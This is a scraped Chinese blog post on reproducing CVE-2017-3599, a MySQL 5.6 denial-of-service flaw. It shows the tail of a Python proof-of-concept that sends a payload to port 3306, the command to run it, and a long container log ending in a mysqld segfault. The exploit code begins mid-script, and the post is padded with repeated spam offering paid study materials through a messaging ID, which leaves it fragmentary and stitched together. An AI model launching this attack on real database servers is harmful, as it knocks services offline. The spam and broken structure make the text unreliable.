CVE-2017-3599漏洞复现，网络安全音频面试题

先自我介绍一下，小编浙江大学毕业，去过华为、字节跳动等大厂，目前阿里P7

深知大多数程序员，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年最新网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上网络安全知识点，真正体系化！

由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新

如果你需要这些资料，可以添加V获取：vip204888 （备注网络安全）

正文

print "[+] Exiting."
exit(0)

print “[+] Receiving greeting from remote host…”
data = s.recv(1024)
print “[+] Done.”

print “[+] Sending our payload…”
s.send(request)
print “[+] Done.”
#print “Our data: %r” % request

s.close()

### 攻击执行

python poc.py IP 3306

### 攻击效果

拒绝服务，查看数据库的容器日志：

root@yml-penetration:~/Workspace/cve-2017-3599# docker logs 100
Initializing database
2023-12-19 12:19:33 0 [Note] Ignoring --secure-file-priv value as server is running with --bootstrap.
2023-12-19 12:19:33 0 [Note] /usr/sbin/mysqld (mysqld 5.6.35) starting as process 36 …
2023-12-19 12:19:33 36 [Note] InnoDB: Using atomics to ref count buffer pool pages
2023-12-19 12:19:33 36 [Note] InnoDB: The InnoDB memory heap is disabled
2023-12-19 12:19:33 36 [Note] InnoDB: Mutexes and rw_locks use GCC atomic builtins
2023-12-19 12:19:33 36 [Note] InnoDB: Memory barrier is not used
2023-12-19 12:19:33 36 [Note] InnoDB: Compressed tables use zlib 1.2.8
2023-12-19 12:19:33 36 [Note] InnoDB: Using Linux native AIO
2023-12-19 12:19:33 36 [Note] InnoDB: Not using CPU crc32 instructions
2023-12-19 12:19:33 36 [Note] InnoDB: Initializing buffer pool, size = 128.0M
2023-12-19 12:19:33 36 [Note] InnoDB: Completed initialization of buffer pool
2023-12-19 12:19:33 36 [Note] InnoDB: The first specified data file ./ibdata1 did not exist: a new database to be created!
2023-12-19 12:19:33 36 [Note] InnoDB: Setting file ./ibdata1 size to 12 MB
2023-12-19 12:19:33 36 [Note] InnoDB: Database physically writes the file full: wait…
2023-12-19 12:19:33 36 [Note] InnoDB: Setting log file ./ib_logfile101 size to 48 MB
2023-12-19 12:19:33 36 [Note] InnoDB: Setting log file ./ib_logfile1 size to 48 MB
2023-12-19 12:19:34 36 [Note] InnoDB: Renaming log file ./ib_logfile101 to ./ib_logfile0
2023-12-19 12:19:34 36 [Warning] InnoDB: New log files created, LSN=45781
2023-12-19 12:19:34 36 [Note] InnoDB: Doublewrite buffer not found: creating new
2023-12-19 12:19:34 36 [Note] InnoDB: Doublewrite buffer created
2023-12-19 12:19:34 36 [Note] InnoDB: 128 rollback segment(s) are active.
2023-12-19 12:19:34 36 [Warning] InnoDB: Creating foreign key constraint system tables.
2023-12-19 12:19:34 36 [Note] InnoDB: Foreign key constraint system tables created
2023-12-19 12:19:34 36 [Note] InnoDB: Creating tablespace and datafile system tables.
2023-12-19 12:19:34 36 [Note] InnoDB: Tablespace and datafile system tables created.
2023-12-19 12:19:34 36 [Note] InnoDB: Waiting for purge to start
2023-12-19 12:19:34 36 [Note] InnoDB: 5.6.35 started; log sequence number 0
2023-12-19 12:19:36 36 [Note] Binlog end
2023-12-19 12:19:36 36 [Note] InnoDB: FTS optimize thread exiting.
2023-12-19 12:19:36 36 [Note] InnoDB: Starting shutdown…
2023-12-19 12:19:38 36 [Note] InnoDB: Shutdown completed; log sequence number 1625977

2023-12-19 12:19:38 0 [Note] Ignoring --secure-file-priv value as server is running with --bootstrap.
2023-12-19 12:19:38 0 [Note] /usr/sbin/mysqld (mysqld 5.6.35) starting as process 59 …
2023-12-19 12:19:38 59 [Note] InnoDB: Using atomics to ref count buffer pool pages
2023-12-19 12:19:38 59 [Note] InnoDB: The InnoDB memory heap is disabled
2023-12-19 12:19:38 59 [Note] InnoDB: Mutexes and rw_locks use GCC atomic builtins
2023-12-19 12:19:38 59 [Note] InnoDB: Memory barrier is not used
2023-12-19 12:19:38 59 [Note] InnoDB: Compressed tables use zlib 1.2.8
2023-12-19 12:19:38 59 [Note] InnoDB: Using Linux native AIO
2023-12-19 12:19:38 59 [Note] InnoDB: Not using CPU crc32 instructions
2023-12-19 12:19:38 59 [Note] InnoDB: Initializing buffer pool, size = 128.0M
2023-12-19 12:19:38 59 [Note] InnoDB: Completed initialization of buffer pool
2023-12-19 12:19:38 59 [Note] InnoDB: Highest supported file format is Barracuda.
2023-12-19 12:19:38 59 [Note] InnoDB: 128 rollback segment(s) are active.
2023-12-19 12:19:38 59 [Note] InnoDB: Waiting for purge to start
2023-12-19 12:19:38 59 [Note] InnoDB: 5.6.35 started; log sequence number 1625977
2023-12-19 12:19:38 59 [Note] Binlog end
2023-12-19 12:19:38 59 [Note] InnoDB: FTS optimize thread exiting.
2023-12-19 12:19:38 59 [Note] InnoDB: Starting shutdown…
2023-12-19 12:19:40 59 [Note] InnoDB: Shutdown completed; log sequence number 1625987

PLEASE REMEMBER TO SET A PASSWORD FOR THE MySQL root USER !
To do so, start the server, then issue the following commands:

/usr/bin/mysqladmin -u root password ‘new-password’
/usr/bin/mysqladmin -u root -h 100bfe039d09 password ‘new-password’

Alternatively you can run:

/usr/bin/mysql_secure_installation

which will also give you the option of removing the test
databases and anonymous user created by default. This is
strongly recommended for production servers.

See the manual for more instructions.

Please report any problems at http://bugs.mysql.com/

The latest information about MySQL is available on the web at

http://www.mysql.com

Support MySQL by buying support/licenses at http://shop.mysql.com

Note: new default config file not created.
Please make sure your config file is current

WARNING: Default config file /etc/mysql/my.cnf exists on the system
This file will be read by default by the MySQL server
If you do not want to use this, either remove it, or use the
–defaults-file argument to mysqld_safe when starting the server

Database initialized
MySQL init process in progress…
2023-12-19 12:19:40 0 [Note] mysqld (mysqld 5.6.35) starting as process 87 …
2023-12-19 12:19:40 87 [Note] Plugin ‘FEDERATED’ is disabled.
2023-12-19 12:19:40 87 [Note] InnoDB: Using atomics to ref count buffer pool pages
2023-12-19 12:19:40 87 [Note] InnoDB: The InnoDB memory heap is disabled
2023-12-19 12:19:40 87 [Note] InnoDB: Mutexes and rw_locks use GCC atomic builtins
2023-12-19 12:19:40 87 [Note] InnoDB: Memory barrier is not used
2023-12-19 12:19:40 87 [Note] InnoDB: Compressed tables use zlib 1.2.8
2023-12-19 12:19:40 87 [Note] InnoDB: Using Linux native AIO
2023-12-19 12:19:40 87 [Note] InnoDB: Not using CPU crc32 instructions
2023-12-19 12:19:40 87 [Note] InnoDB: Initializing buffer pool, size = 128.0M
2023-12-19 12:19:40 87 [Note] InnoDB: Completed initialization of buffer pool
2023-12-19 12:19:40 87 [Note] InnoDB: Highest supported file format is Barracuda.
2023-12-19 12:19:40 87 [Note] InnoDB: 128 rollback segment(s) are active.
2023-12-19 12:19:40 87 [Note] InnoDB: Waiting for purge to start
2023-12-19 12:19:40 87 [Note] InnoDB: 5.6.35 started; log sequence number 1625987
2023-12-19 12:19:40 87 [Warning] No existing UUID has been found, so we assume that this is the first time that this server has been started. Generating a new UUID: e27a6a12-9e68-11ee-867c-0242ac110002.
2023-12-19 12:19:40 87 [Warning] ‘user’ entry ‘root@100bfe039d09’ ignored in --skip-name-resolve mode.
2023-12-19 12:19:40 87 [Warning] ‘user’ entry ‘@100bfe039d09’ ignored in --skip-name-resolve mode.
2023-12-19 12:19:40 87 [Warning] ‘proxies_priv’ entry ‘@ root@100bfe039d09’ ignored in --skip-name-resolve mode.
2023-12-19 12:19:40 87 [Note] Event Scheduler: Loaded 0 events
2023-12-19 12:19:40 87 [Note] mysqld: ready for connections.
Version: ‘5.6.35’ socket: ‘/var/run/mysqld/mysqld.sock’ port: 0 MySQL Community Server (GPL)
Warning: Unable to load ‘/usr/share/zoneinfo/iso3166.tab’ as time zone. Skipping it.
Warning: Unable to load ‘/usr/share/zoneinfo/leap-seconds.list’ as time zone. Skipping it.
Warning: Unable to load ‘/usr/share/zoneinfo/zone.tab’ as time zone. Skipping it.
2023-12-19 12:19:42 87 [Warning] ‘proxies_priv’ entry ‘@ root@100bfe039d09’ ignored in --skip-name-resolve mode.

2023-12-19 12:19:42 87 [Note] mysqld: Normal shutdown

2023-12-19 12:19:42 87 [Note] Giving 0 client threads a chance to die gracefully
2023-12-19 12:19:42 87 [Note] Event Scheduler: Purging the queue. 0 events
2023-12-19 12:19:42 87 [Note] Shutting down slave threads
2023-12-19 12:19:42 87 [Note] Forcefully disconnecting 0 remaining clients
2023-12-19 12:19:42 87 [Note] Binlog end
2023-12-19 12:19:42 87 [Note] Shutting down plugin ‘partition’
2023-12-19 12:19:42 87 [Note] Shutting down plugin ‘INNODB_SYS_DATAFILES’
2023-12-19 12:19:42 87 [Note] Shutting down plugin ‘INNODB_SYS_TABLESPACES’
2023-12-19 12:19:42 87 [Note] Shutting down plugin ‘INNODB_SYS_FOREIGN_COLS’
2023-12-19 12:19:42 87 [Note] Shutting down plugin ‘INNODB_SYS_FOREIGN’
2023-12-19 12:19:42 87 [Note] Shutting down plugin ‘INNODB_SYS_FIELDS’
2023-12-19 12:19:42 87 [Note] Shutting down plugin ‘INNODB_SYS_COLUMNS’
2023-12-19 12:19:42 87 [Note] Shutting down plugin ‘INNODB_SYS_INDEXES’
2023-12-19 12:19:42 87 [Note] Shutting down plugin ‘INNODB_SYS_TABLESTATS’
2023-12-19 12:19:42 87 [Note] Shutting down plugin ‘INNODB_SYS_TABLES’
2023-12-19 12:19:42 87 [Note] Shutting down plugin ‘INNODB_FT_INDEX_TABLE’
2023-12-19 12:19:42 87 [Note] Shutting down plugin ‘INNODB_FT_INDEX_CACHE’
2023-12-19 12:19:42 87 [Note] Shutting down plugin ‘INNODB_FT_CONFIG’
2023-12-19 12:19:42 87 [Note] Shutting down plugin ‘INNODB_FT_BEING_DELETED’
2023-12-19 12:19:42 87 [Note] Shutting down plugin ‘INNODB_FT_DELETED’
2023-12-19 12:19:42 87 [Note] Shutting down plugin ‘INNODB_FT_DEFAULT_STOPWORD’
2023-12-19 12:19:42 87 [Note] Shutting down plugin ‘INNODB_METRICS’
2023-12-19 12:19:42 87 [Note] Shutting down plugin ‘INNODB_BUFFER_POOL_STATS’
2023-12-19 12:19:42 87 [Note] Shutting down plugin ‘INNODB_BUFFER_PAGE_LRU’
2023-12-19 12:19:42 87 [Note] Shutting down plugin ‘INNODB_BUFFER_PAGE’
2023-12-19 12:19:42 87 [Note] Shutting down plugin ‘INNODB_CMP_PER_INDEX_RESET’
2023-12-19 12:19:42 87 [Note] Shutting down plugin ‘INNODB_CMP_PER_INDEX’
2023-12-19 12:19:42 87 [Note] Shutting down plugin ‘INNODB_CMPMEM_RESET’
2023-12-19 12:19:42 87 [Note] Shutting down plugin ‘INNODB_CMPMEM’
2023-12-19 12:19:42 87 [Note] Shutting down plugin ‘INNODB_CMP_RESET’
2023-12-19 12:19:42 87 [Note] Shutting down plugin ‘INNODB_CMP’
2023-12-19 12:19:42 87 [Note] Shutting down plugin ‘INNODB_LOCK_WAITS’
2023-12-19 12:19:42 87 [Note] Shutting down plugin ‘INNODB_LOCKS’
2023-12-19 12:19:42 87 [Note] Shutting down plugin ‘INNODB_TRX’
2023-12-19 12:19:42 87 [Note] Shutting down plugin ‘InnoDB’
2023-12-19 12:19:42 87 [Note] InnoDB: FTS optimize thread exiting.
2023-12-19 12:19:42 87 [Note] InnoDB: Starting shutdown…
2023-12-19 12:19:43 87 [Note] InnoDB: Shutdown completed; log sequence number 1625997
2023-12-19 12:19:43 87 [Note] Shutting down plugin ‘BLACKHOLE’
2023-12-19 12:19:43 87 [Note] Shutting down plugin ‘ARCHIVE’
2023-12-19 12:19:43 87 [Note] Shutting down plugin ‘PERFORMANCE_SCHEMA’
2023-12-19 12:19:43 87 [Note] Shutting down plugin ‘MRG_MYISAM’
2023-12-19 12:19:43 87 [Note] Shutting down plugin ‘MyISAM’
2023-12-19 12:19:43 87 [Note] Shutting down plugin ‘CSV’
2023-12-19 12:19:43 87 [Note] Shutting down plugin ‘MEMORY’
2023-12-19 12:19:43 87 [Note] Shutting down plugin ‘sha256_password’
2023-12-19 12:19:43 87 [Note] Shutting down plugin ‘mysql_old_password’
2023-12-19 12:19:43 87 [Note] Shutting down plugin ‘mysql_native_password’
2023-12-19 12:19:43 87 [Note] Shutting down plugin ‘binlog’
2023-12-19 12:19:43 87 [Note] mysqld: Shutdown complete

MySQL init process done. Ready for start up.

2023-12-19 12:19:44 0 [Note] mysqld (mysqld 5.6.35) starting as process 1 …
2023-12-19 12:19:44 1 [Note] Plugin ‘FEDERATED’ is disabled.
2023-12-19 12:19:44 1 [Note] InnoDB: Using atomics to ref count buffer pool pages
2023-12-19 12:19:44 1 [Note] InnoDB: The InnoDB memory heap is disabled
2023-12-19 12:19:44 1 [Note] InnoDB: Mutexes and rw_locks use GCC atomic builtins
2023-12-19 12:19:44 1 [Note] InnoDB: Memory barrier is not used
2023-12-19 12:19:44 1 [Note] InnoDB: Compressed tables use zlib 1.2.8
2023-12-19 12:19:44 1 [Note] InnoDB: Using Linux native AIO
2023-12-19 12:19:44 1 [Note] InnoDB: Not using CPU crc32 instructions
2023-12-19 12:19:44 1 [Note] InnoDB: Initializing buffer pool, size = 128.0M
2023-12-19 12:19:44 1 [Note] InnoDB: Completed initialization of buffer pool
2023-12-19 12:19:44 1 [Note] InnoDB: Highest supported file format is Barracuda.
2023-12-19 12:19:44 1 [Note] InnoDB: 128 rollback segment(s) are active.
2023-12-19 12:19:44 1 [Note] InnoDB: Waiting for purge to start
2023-12-19 12:19:44 1 [Note] InnoDB: 5.6.35 started; log sequence number 1625997
2023-12-19 12:19:44 1 [Note] Server hostname (bind-address): ‘*’; port: 3306
2023-12-19 12:19:44 1 [Note] IPv6 is available.
2023-12-19 12:19:44 1 [Note] - ‘::’ resolves to ‘::’;
2023-12-19 12:19:44 1 [Note] Server socket created on IP: ‘::’.
2023-12-19 12:19:44 1 [Warning] ‘proxies_priv’ entry ‘@ root@100bfe039d09’ ignored in --skip-name-resolve mode.
2023-12-19 12:19:44 1 [Note] Event Scheduler: Loaded 0 events
2023-12-19 12:19:44 1 [Note] mysqld: ready for connections.
Version: ‘5.6.35’ socket: ‘/var/run/mysqld/mysqld.sock’ port: 3306 MySQL Community Server (GPL)
12:21:29 UTC - mysqld got signal 11 ;
This could be because you hit a bug. It is also possible that this binary
or one of the libraries it was linked against is corrupt, improperly built,
or misconfigured. This error can also be caused by malfunctioning hardware.
We will try our best to scrape up some info that will hopefully help
diagnose the problem, but since we have already crashed,
something is definitely wrong and this may fail.

key_buffer_size=8388608
read_buffer_size=131072
max_used_connections=1
max_threads=151
thread_count=1
connection_count=1
It is possible that mysqld could use up to
key_buffer_size + (read_buffer_size + sort_buffer_size)*max_threads = 68108 K bytes of memory
Hope that’s ok; if not, decrease some variables in the equation.

Thread pointer: 0x23d86c0
Attempting backtrace. You can use the following information to find out
where mysqld died. If you see no messages after this, something went
terribly wrong…
stack_bottom = 7f3ca45a1e98 thread_stack 0x40000
mysqld(my_print_stacktrace+0x2c)[0x8c3d5c]
mysqld(handle_fatal_signal+0x481)[0x661df1]
/lib/x86_64-linux-gnu/libpthread.so.0(+0xf890)[0x7f3ccee40890]
/lib/x86_64-linux-gnu/libc.so.6(memchr+0x78)[0x7f3ccd885cd8]
mysqld[0x672dc4]
mysqld[0x683e2d]
mysqld[0x68433e]
mysqld[0x6730a9]

学习路线：

这个方向初期比较容易入门一些，掌握一些基本技术，拿起各种现成的工具就可以开黑了。不过，要想从脚本小子变成黑客大神，这个方向越往后，需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容：

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化的资料的朋友，可以添加V获取：vip204888 （备注网络安全）

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

35662316578e07.png#pic_center)

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化的资料的朋友，可以添加V获取：vip204888 （备注网络安全）
[外链图片转存中…(img-V4AZFVni-1713359559115)]

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！